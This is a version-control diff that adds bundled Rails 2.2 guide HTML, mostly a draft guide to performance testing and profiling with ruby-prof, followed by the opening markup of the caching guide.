+<pre><tt>[lifo at null ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
+[lifo at null ~]$ tar -xzvf rubygems-1.2.0.tgz
+[lifo at null ~]$ cd rubygems-1.2.0
+[lifo at null rubygems-1.2.0]$ gcruby setup.rb
+[lifo at null rubygems-1.2.0]$ cd ~
+[lifo at null ~]$ gcgem install rake
+[lifo at null ~]$ gcgem install rails</tt></pre>
+</div></div>
+<h4 id="_install_mysql_gem">4.3.4. Install MySQL gem</h4>
+<div class="listingblock">
+<div class="content">
+<pre><tt>[lifo at null ~]$ gcgem install mysql</tt></pre>
+</div></div>
+<div class="para"><p>If this fails, you can try to install it manually:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>[lifo at null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
+[lifo at null mysql-2.7]$ gcruby extconf.rb --with-mysql-config
+[lifo at null mysql-2.7]$ make &amp;&amp; make install</tt></pre>
+</div></div>
+<h3 id="_installing_jeremy_kemper_s_ruby_prof">4.4. Installing Jeremy Kemper's ruby-prof</h3>
+<div class="para"><p>We also need to install Jeremy's ruby-prof gem using our newly built ruby:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>lifo at null <span style="color: #990000">~]</span>$ git clone git<span style="color: #990000">:</span>//github<span style="color: #990000">.</span>com/jeremy/ruby-prof<span style="color: #990000">.</span>git
+<span style="color: #990000">[</span>lifo at null <span style="color: #990000">~]</span>$ cd ruby-prof<span style="color: #990000">/</span>
+<span style="color: #990000">[</span>lifo at null ruby-prof <span style="color: #990000">(</span>master<span style="color: #990000">)]</span>$ gcrake gem
+<span style="color: #990000">[</span>lifo at null ruby-prof <span style="color: #990000">(</span>master<span style="color: #990000">)]</span>$ gcgem install pkg/ruby-prof-<span style="color: #993399">0.6</span><span style="color: #990000">.</span><span style="color: #993399">1</span><span style="color: #990000">.</span>gem
+</tt></pre></div></div>
+<h3 id="_generating_performance_test">4.5. Generating performance test</h3>
+<div class="para"><p>Rails provides a simple generator for creating new performance tests:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>lifo at null application <span style="color: #990000">(</span>master<span style="color: #990000">)]</span>$ script/generate performance_test homepage
+</tt></pre></div></div>
+<div class="para"><p>This will generate <tt>test/performance/homepage_test.rb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomepageTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
+  <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
+    get <span style="color: #FF0000">'/'</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Which you can modify to suit your needs.</p></div>
+<h3 id="_running_tests">4.6. Running tests</h3>
+</div>
+<h2 id="_understanding_performance_tests_outputs">5. Understanding Performance Tests Outputs</h2>
+<div class="sectionbody">
+<h3 id="_our_first_performance_test">5.1. Our First Performance Test</h3>
+<div class="para"><p>So how do we profile a request.</p></div>
+<div class="para"><p>One of the things that is important to us is how long it takes to render the home page - so let's make a request to the home page. Once the request is complete, the results will be outputted in the terminal.</p></div>
+<div class="para"><p>In the terminal run</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>User profiling_tester<span style="color: #990000">]</span>$ gcruby tests<span style="color: #FF6600">/performance/</span>homepage<span style="color: #990000">.</span>rb
+</tt></pre></div></div>
+<div class="para"><p>After the tests runs for a few seconds you should see something like this.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>HomepageTest#test_homepage (19 ms warmup)
+        process_time: 26 ms
+              memory: 298.79 KB
+             objects: 1917
+
+Finished in 2.207428 seconds.</tt></pre>
+</div></div>
+<div class="para"><p>Simple but efficient.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Process Time refers to amount of time necessary to complete the action.
+</p>
+</li>
+<li>
+<p>
+memory is the amount of information loaded into memory
+</p>
+</li>
+<li>
+<p>
+object ??? #TODO find a good definition. Is it the amount of objects put into a ruby heap for this process?
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In addition we also gain three types of itemized log files for each of these outputs. They can be found in your tmp directory of your application.</p></div>
+<div class="para"><p><strong>The Three types are</strong></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Flat File - A simple text file with the data laid out in a grid
+</p>
+</li>
+<li>
+<p>
+Graphical File - A html colored coded version of the simple text file with hyperlinks between the various methods. Most useful is the bolding of the main processes for each portion of the action.
+</p>
+</li>
+<li>
+<p>
+Tree File - A file output that can be use in conjunction with KCachegrind to visualize the process
+</p>
+</li>
+</ul></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">KCachegrind is Linux only. For Mac this means you have to do a full KDE install to have it working in your OS. Which is over 3 gigs in size. For windows there is clone called wincachegrind but it is no longer actively being developed.</td>
+</tr></table>
+</div>
+<div class="para"><p>Below are examples for Flat Files and Graphical Files</p></div>
+<h3 id="_flat_files">5.2. Flat Files</h3>
+<div class="exampleblock">
+<div class="title">Example: Flat File Output Processing Time</div>
+<div class="exampleblock-content">
+<div class="para"><p>Thread ID: 2279160
+Total: 0.026097</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>%self     total     self     wait    child    calls  name
+ 6.41      0.06     0.04     0.00     0.02      571  Kernel#===
+ 3.17      0.00     0.00     0.00     0.00      172  Hash#[]
+ 2.42      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_exit
+ 2.05      0.00     0.00     0.00     0.00       15  Array#each
+ 1.56      0.00     0.00     0.00     0.00        6  Logger#add
+ 1.55      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_enter
+ 1.36      0.03     0.00     0.00     0.03        1  ActionController::Integration::Session#process
+ 1.31      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_release
+ 1.15      0.00     0.00     0.00     0.00        8  MonitorMixin#synchronize-1
+ 1.09      0.00     0.00     0.00     0.00       23  Class#new
+ 1.03      0.01     0.00     0.00     0.01        5  MonitorMixin#synchronize
+ 0.89      0.00     0.00     0.00     0.00       74  Hash#default
+ 0.89      0.00     0.00     0.00     0.00        6  Hodel3000CompliantLogger#format_message
+ 0.80      0.00     0.00     0.00     0.00        9  c
+ 0.80      0.00     0.00     0.00     0.00       11  ActiveRecord::ConnectionAdapters::ConnectionHandler#retrieve_connection_pool
+ 0.79      0.01     0.00     0.00     0.01        1  ActionController::Benchmarking#perform_action_without_rescue
+ 0.18      0.00     0.00     0.00     0.00       17  &lt;Class::Object&gt;#allocate</tt></pre>
+</div></div>
+</div></div>
+<div class="para"><p>So what do these columns tell us:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+%self - The percentage of time spent processing the method. This is derived from self_time/total_time
+</p>
+</li>
+<li>
+<p>
+total - The time spent in this method and its children.
+</p>
+</li>
+<li>
+<p>
+self - The time spent in this method.
+</p>
+</li>
+<li>
+<p>
+wait - Time processed was queued
+</p>
+</li>
+<li>
+<p>
+child - The time spent in this method's children.
+</p>
+</li>
+<li>
+<p>
+calls - The number of times this method was called.
+</p>
+</li>
+<li>
+<p>
+name - The name of the method.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Name can be displayed three seperate ways:
+        <strong> #toplevel - The root method that calls all other methods
+        </strong> MyObject#method - Example Hash#each, The class Hash is calling the method each
+        * &lt;Object:MyObject&gt;#test - The &lt;&gt; characters indicate a singleton method on a singleton class. Example &lt;Class::Object&gt;#allocate</p></div>
+<div class="para"><p>Methods are sorted based on %self. Hence the ones taking the most time and resources will be at the top.</p></div>
+<div class="para"><p>So for Array#each which is calling each on the class array. We find that it processing time is 2% of the total and was called 15 times. The rest of the information is 0.00 because the process is so fast it isn't recording times less then 100 ms.</p></div>
+<div class="exampleblock">
+<div class="title">Example: Flat File Memory Output</div>
+<div class="exampleblock-content">
+<div class="para"><p>Thread ID: 2279160
+Total: 509.724609</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>%self     total     self     wait    child    calls  name
+ 4.62     23.57    23.57     0.00     0.00       34  String#split
+ 3.95     57.66    20.13     0.00    37.53        3  &lt;Module::YAML&gt;#quick_emit
+ 2.82     23.70    14.35     0.00     9.34        2  &lt;Module::YAML&gt;#quick_emit-1
+ 1.37     35.87     6.96     0.00    28.91        1  ActionView::Helpers::FormTagHelper#form_tag
+ 1.35      7.69     6.88     0.00     0.81        1  ActionController::HttpAuthentication::Basic::ControllerMethods#authenticate_with_http_basic
+ 1.06      6.09     5.42     0.00     0.67       90  String#gsub
+ 1.01      5.13     5.13     0.00     0.00       27  Array#-</tt></pre>
+</div></div>
+</div></div>
+<div class="para"><p>Very similar to the processing time format. The main difference here is that instead of calculating time we are now concerned with the amount of KB put into memory <strong>(or is it strictly into the heap) can I get clarification on this minor point?</strong></p></div>
+<div class="para"><p>So for &lt;Module::YAML&gt;#quick_emit which is  singleton method on the class YAML it uses 57.66 KB in total, 23.57 through its own actions, 6.69 from actions it calls itself and that it was called twice.</p></div>
+<div class="exampleblock">
+<div class="title">Example: Flat File Objects</div>
+<div class="exampleblock-content">
+<div class="para"><p>Thread ID: 2279160
+Total: 6537.000000</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>%self     total     self     wait    child    calls  name
+15.16   1096.00   991.00     0.00   105.00       66  Hash#each
+ 5.25    343.00   343.00     0.00     0.00        4  Mysql::Result#each_hash
+ 4.74   2203.00   310.00     0.00  1893.00       42  Array#each
+ 3.75   4529.00   245.00     0.00  4284.00        1  ActionView::Base::CompiledTemplates#_run_erb_47app47views47layouts47application46html46erb
+ 2.00    136.00   131.00     0.00     5.00       90  String#gsub
+ 1.73    113.00   113.00     0.00     0.00       34  String#split
+ 1.44    111.00    94.00     0.00    17.00       31  Array#each-1</tt></pre>
+</div></div>
+</div></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>#TODO Find correct terminology for how to describe what this is exactly profiling as in are there really 2203 array objects or 2203 pointers to array objects?.</tt></pre>
+</div></div>
+<h3 id="_graph_files">5.3. Graph Files</h3>
+<div class="para"><p>While the information gleamed from flat files is very useful we still don't know which processes each method is calling. We only know how many. This is not true for a graph file. Below is a text representation of a graph file. The actual graph file is an html entity and an example of which can be found <a href="examples/graph.html">Here</a></p></div>
+<div class="para"><p>#TODO (Handily the graph file has links both between it many processes and to the files that actually contain them for debugging.
+ )</p></div>
+<div class="exampleblock">
+<div class="title">Example: Graph File</div>
+<div class="exampleblock-content">
+<div class="para"><p>Thread ID: 21277412</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>  %total   %self     total      self    children               calls   Name
+/____________________________________________________________________________/
+100.00%   0.00%      8.77      0.00      8.77                   1     #toplevel*
+                     8.77      0.00      8.77                 1/1     Object#run_primes
+/____________________________________________________________________________/
+                     8.77      0.00      8.77                 1/1     #toplevel
+100.00%   0.00%      8.77      0.00      8.77                   1     Object#run_primes*
+                     0.02      0.00      0.02                 1/1     Object#make_random_array
+                     2.09      0.00      2.09                 1/1     Object#find_largest
+                     6.66      0.00      6.66                 1/1     Object#find_primes
+/____________________________________________________________________________/
+                     0.02      0.02      0.00                 1/1     Object#make_random_array
+0.18%     0.18%      0.02      0.02      0.00                   1     Array#each_index
+                     0.00      0.00      0.00             500/500     Kernel.rand
+                     0.00      0.00      0.00             500/501     Array#[]=
+/____________________________________________________________________________/</tt></pre>
+</div></div>
+</div></div>
+<div class="para"><p>As you can see the calls have been separated into slices, no longer is the order determined by process time but instead from hierarchy. Each slice profiles a primary entry, with the primary entry's parents being shown above itself and it's children found below. A primary entry can be ascertained by it having values in the %total and %self columns. Here the main entry here have been bolded for connivence.</p></div>
+<div class="para"><p>So if we look at the last slice. The primary entry would be Array#each_index. It takes 0.18% of the total process time and it is only called once. It is called from Object#make_random_array which is only called once. It's children are Kernal.rand which is called by it all 500 its times that it was call in this action and Arry#[]= which was called 500 times by Array#each_index and once by some other entry.</p></div>
+<h3 id="_tree_files">5.4. Tree Files</h3>
+<div class="para"><p>It's pointless trying to represent a tree file textually so here's a few pretty pictures of it's usefulness</p></div>
+<div class="para"><div class="title">KCachegrind Graph</div><p><span class="image">
+<img src="images/kgraph.png" alt="Graph created by KCachegrind" title="Graph created by KCachegrind" />
+</span></p></div>
+<div class="para"><div class="title">KCachegrind List</div><p><span class="image">
+<img src="images/klist.png" alt="List created by KCachegrind" title="List created by KCachegrind" />
+</span></p></div>
+<div class="para"><p>#TODO Add a bit more information to this.</p></div>
+</div>
+<h2 id="_getting_to_the_point_of_all_of_this">6. Getting to the Point of all of this</h2>
+<div class="sectionbody">
+<div class="para"><p>Now I know all of this is a bit dry and academic. But it's a very powerful tool when you know how to leverage it properly. Which we are going to take a look at in our next section</p></div>
+</div>
+<h2 id="_real_life_example">7. Real Life Example</h2>
+<div class="sectionbody">
+<h3 id="_the_setup">7.1. The setup</h3>
+<div class="para"><p>So I have been building this application for the last month and feel pretty good about the ruby code. I'm readying it for beta testers when I discover to my shock that with less then twenty people it starts to crash. It's a pretty simple Ecommerce site so I'm very confused by what I'm seeing. On running looking through my log files I find to my shock that the lowest time for a page run is running around 240 ms. My database finds aren't the problems so I'm lost as to what is happening to cause all this. Lets run a benchmark.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomepageTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
+  <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
+    get <span style="color: #FF0000">'/'</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="title">Example: Output</div>
+<div class="content">
+<pre><tt>HomepageTest#test_homepage (115 ms warmup)
+        process_time: 591 ms
+        memory: 3052.90 KB
+        objects: 59471</tt></pre>
+</div></div>
+<div class="para"><p>Obviously something is very very wrong here. 3052.90 Kb to load my minimal homepage. For Comparison for another site running well I get this for my homepage test.</p></div>
+<div class="listingblock">
+<div class="title">Example: Default</div>
+<div class="content">
+<pre><tt>HomepageTest#test_homepage (19 ms warmup)
+        process_time: 26 ms
+              memory: 298.79 KB
+             objects: 1917</tt></pre>
+</div></div>
+<div class="para"><p>that over a factor of ten difference. Lets look at our flat process time file to see if anything pops out at us.</p></div>
+<div class="listingblock">
+<div class="title">Example: Process time</div>
+<div class="content">
+<pre><tt>20.73      0.39     0.12     0.00     0.27      420  Pathname#cleanpath_aggressive
+17.07      0.14     0.10     0.00     0.04     3186  Pathname#chop_basename
+ 6.47      0.06     0.04     0.00     0.02     6571  Kernel#===
+ 5.04      0.06     0.03     0.00     0.03      840  Pathname#initialize
+ 5.03      0.05     0.03     0.00     0.02        4  ERB::Compiler::ExplicitScanner#scan
+ 4.51      0.03     0.03     0.00     0.00     9504  String#==
+ 2.94      0.46     0.02     0.00     0.44     1393  String#gsub
+ 2.66      0.09     0.02     0.00     0.07      480  Array#each
+ 2.46      0.01     0.01     0.00     0.00     3606  Regexp#to_s</tt></pre>
+</div></div>
+<div class="para"><p>Yes indeed we seem to have found the problem. Pathname#cleanpath_aggressive is taking nearly a quarter our process time and  Pathname#chop_basename another 17%. From here I do a few more benchmarks to make sure that these processes are slowing down the other pages. They are so now I know what I must do. <strong>If we can get rid of or shorten these processes we can make our pages run much quicker</strong>.</p></div>
+<div class="para"><p>Now both of these are main ruby processes so are goal right now is to find out what other process is calling them. Glancing at our Graph file I see that #cleanpath is calling #cleanpath_aggressive. #cleanpath is being called by String#gsub and from there some html template errors. But my page seems to be rendering fine. why would it be calling template errors. I'm decide to check my object flat file to see if I can find any more information.</p></div>
+<div class="listingblock">
+<div class="title">Example: Objects Created</div>
+<div class="content">
+<pre><tt>20.74  34800.00 12324.00     0.00 22476.00      420  Pathname#cleanpath_aggressive
+16.79  18696.00  9978.00     0.00  8718.00     3186  Pathname#chop_basename
+11.47  13197.00  6813.00     0.00  6384.00      480  Array#each
+ 8.51  41964.00  5059.00     0.00 36905.00     1386  String#gsub
+ 6.07   3606.00  3606.00     0.00     0.00     3606  Regexp#to_s</tt></pre>
+</div></div>
+<div class="para"><p>nope nothing new here. Lets look at memory usage</p></div>
+<div class="listingblock">
+<div class="title">Example: Memory Consuption</div>
+<div class="content">
+<pre><tt> 40.17   1706.80  1223.70     0.00   483.10     3186  Pathname#chop_basename
+ 14.92    454.47   454.47     0.00     0.00     3606  Regexp#to_s
+  7.09   2381.36   215.99     0.00  2165.37     1386  String#gsub
+  5.08    231.19   154.73     0.00    76.46      420  Pathname#prepend_prefix
+  2.34     71.35    71.35     0.00     0.00     1265  String#initialize_copy</tt></pre>
+</div></div>
+<div class="para"><p>Ok so it seems Regexp#to_s is the second costliest process. At this point I try to figure out what could be calling a regular expression cause I very rarely use them. Going over my standard layout I discover at the top.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;%if request.env["HTTP_USER_AGENT"].match(/Opera/)%&gt;
+&lt;%= stylesheet_link_tag "opera" %&gt;
+&lt;% end %&gt;
+</tt></pre></div></div>
+<div class="para"><p>That's wrong. I mistakenly am using a search function for a simple compare function. Lets fix that.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;%if request.env["HTTP_USER_AGENT"] =~ /Opera/%&gt;
+&lt;%= stylesheet_link_tag "opera" %&gt;
+&lt;% end %&gt;
+</tt></pre></div></div>
+<div class="para"><p>I'll now try my test again.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>process_time: 75 ms
+              memory: 519.95 KB
+             objects: 6537</tt></pre>
+</div></div>
+<div class="para"><p>Much better. The problem has been solved. Now I should have realized earlier due to the String#gsub that my problem had to be with reqexp serch function but such knowledge comes with time. Looking through the mass output data is a skill.</p></div>
+</div>
+<h2 id="_get_yourself_a_game_plan">8. Get Yourself a Game Plan</h2>
+<div class="sectionbody">
+<div class="para"><p>You end up dealing with a large amount of data whenever you profile an application. It's crucial to use a rigorous approach to analyzing your application's performance else fail miserably in a vortex of numbers. This leads us to -</p></div>
+<h3 id="_the_analysis_process">8.1. The Analysis Process</h3>
+<div class="para"><p>I’m going to give an example methodology for conducting your benchmarking and profiling on an application. It is based on your typical scientific method.</p></div>
+<div class="para"><p>For something as complex as Benchmarking you need to take any methodology with a grain of salt but there are some basic strictures that you can depend on.</p></div>
+<div class="para"><p>Formulate a question you need to answer which is simple, tests the smallest measurable thing possible, and is exact. This is typically the hardest part of the experiment. From there some steps that you should follow are.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Develop a set of variables and processes to measure in order to answer this question!
+</p>
+</li>
+<li>
+<p>
+Profile based on the question and variables. Key problems to avoid when designing this experiment are:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+Confounding: Test one thing at a time, keep everything the same so you don't poison the data with uncontrolled processes.
+</p>
+</li>
+<li>
+<p>
+Cross Contamination: Make sure that runs from one test do not harm the other tests.
+</p>
+</li>
+<li>
+<p>
+Steady States: If you’re testing long running process. You must take the ramp up time and performance hit into your initial measurements.
+</p>
+</li>
+<li>
+<p>
+Sampling Error: Data should perform have a steady variance or range. If you get wild swings or sudden spikes, etc. then you must either account for the reason why or you have a sampling error.
+</p>
+</li>
+<li>
+<p>
+Measurement Error: Aka Human error, always go through your calculations at least twice to make sure there are no mathematical errors. .
+</p>
+</li>
+</ul></div>
+</li>
+<li>
+<p>
+Do a small run of the experiment to verify the design.
+</p>
+</li>
+<li>
+<p>
+Use the small run to determine a proper sample size.
+</p>
+</li>
+<li>
+<p>
+Run the test.
+</p>
+</li>
+<li>
+<p>
+Perform the analysis on the results and determine where to go from there.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Note: Even though we are using the typical scientific method; developing a hypothesis is not always useful in terms of profiling.</p></div>
+</div>
+<h2 id="_other_profiling_tools">9. Other Profiling Tools</h2>
+<div class="sectionbody">
+<div class="para"><p>There are a lot of great profiling tools out there. Some free, some not so free. This is a sort list detailing some of them.</p></div>
+<h3 id="_httperf">9.1. httperf</h3>
+<div class="para"><p><a href="http://www.hpl.hp.com/research/linux/httperf/">http://www.hpl.hp.com/research/linux/httperf/</a></p></div>
+<div class="para"><p>A necessary tool in your arsenal. Very useful for load testing your website.</p></div>
+<div class="para"><p>#TODO write and link to a short article on how to use httperf. Anybody have a good tutorial availble.</p></div>
+<h3 id="_rails_analyzer">9.2. Rails Analyzer</h3>
+<div class="para"><p>The Rails Analyzer project contains a collection of tools for Rails. It's open source and pretty speedy. It's not being actively worked on but is still contains some very useful tools.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The Production Log Analyzer examines Rails log files and gives back a report. It also includes action_grep which will give you all log results for a particular action.
+</p>
+</li>
+<li>
+<p>
+The Action Profiler similar to Ruby-Prof profiler.
+</p>
+</li>
+<li>
+<p>
+rails_stat which gives a live counter of requests per second of a running Rails app.
+</p>
+</li>
+<li>
+<p>
+The SQL Dependency Grapher allows you to visualize the frequency of table dependencies in a Rails application.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Their project homepage can be found at <a href="http://rails-analyzer.rubyforge.org/">http://rails-analyzer.rubyforge.org/</a></p></div>
+<div class="para"><p>The one major caveat is that it needs your log to be in a different format from how rails sets it up specifically SyslogLogger.</p></div>
+<h4 id="_sysloglogger">9.2.1. SyslogLogger</h4>
+<div class="para"><p>SyslogLogger is a Logger work-alike that logs via syslog instead of to a file. You can add SyslogLogger to your Rails production environment to aggregate logs between multiple machines.</p></div>
+<div class="para"><p>More information can be found out at <a href="http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html">http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html</a></p></div>
+<div class="para"><p>If you don't have access to your machines root system or just want something a bit easier to implement there is also a module developed by Geoffrey Grosenbach</p></div>
+<h4 id="_a_hodel_3000_compliant_logger_for_the_rest_of_us">9.2.2. A Hodel 3000 Compliant Logger for the Rest of Us</h4>
+<div class="para"><p>Directions taken from
+<a href="http://topfunky.net/svn/plugins/hodel_3000_compliant_logger/lib/hodel_3000_compliant_logger.rb">link to module file</a></p></div>
+<div class="para"><p>Just put the module in your lib directory and  add this to your environment.rb in it's config portion.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>require 'hodel_3000_compliant_logger'
+config.logger = Hodel3000CompliantLogger.new(config.log_path)</tt></pre>
+</div></div>
+<div class="para"><p>It's that simple. Your log output on restart should look like this.</p></div>
+<div class="listingblock">
+<div class="title">Example: Hodel 3000 Example</div>
+<div class="content">
+<pre><tt>Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Parameters: {"action"=&gt;"shipping", "controller"=&gt;"checkout"}
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;36;1mBook Columns (0.003155)   SHOW FIELDS FROM `books`
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;35;1mBook Load (0.000881)   SELECT * FROM `books` WHERE (`books`.`id` = 1 AND (`books`.`sold` = 1)) 
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;36;1mShippingAddress Columns (0.002683)   SHOW FIELDS FROM `shipping_addresses`
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;35;1mBook Load (0.000362)   SELECT ounces FROM `books` WHERE (`books`.`id` = 1) 
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Rendering template within layouts/application
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Rendering checkout/shipping
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;36;1mBook Load (0.000548)   SELECT * FROM `books`
+WHERE (sold = 0) LIMIT 3
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: 
+[4;35;1mAuthor Columns (0.002571)   SHOW FIELDS FROM `authors`
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Author Load (0.000811)   SELECT * FROM `authors` WHERE (`authors`.`id` = 1) 
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Rendered store/_new_books (0.01358)
+Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:
+Completed in 0.37297 (2 reqs/sec) | Rendering: 0.02971 (7%) | DB: 0.01697 (4%) | 200 OK [https://secure.jeffbooks/checkout/shipping]</tt></pre>
+</div></div>
+<h3 id="_palmist">9.3. Palmist</h3>
+<div class="para"><p>An open source mysql query analyzer. Full featured and easy to work with. Also requires Hodel 3000
+<a href="http://www.flyingmachinestudios.com/projects/">http://www.flyingmachinestudios.com/projects/</a></p></div>
+<h3 id="_new_relic">9.4. New Relic</h3>
+<div class="para"><p><a href="http://www.newrelic.com/">http://www.newrelic.com/</a></p></div>
+<div class="para"><p>Pretty nifty performance tools, pricey though. They do have a basic free
+service both for when in development and when you put your application into production. Very simple installation and signup.</p></div>
+<div class="para"><p>#TODO more in-depth without being like an advertisement.</p></div>
+<h4 id="_manage">9.4.1. Manage</h4>
+<div class="para"><p>Like new relic a production monitoring tool.</p></div>
+</div>
+<h2 id="_changelog">10. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+October 17, 2008: First revision by Pratik
+</p>
+</li>
+<li>
+<p>
+September 6, 2008: Initial version by Matthew Bergman &lt;<a href="mailto:MzbPhoto at gmail.com">MzbPhoto at gmail.com</a>&gt;
+</p>
+</li>
+</ul></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/caching_with_rails.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/caching_with_rails.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/caching_with_rails.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,583 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Caching with Rails: An overview</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
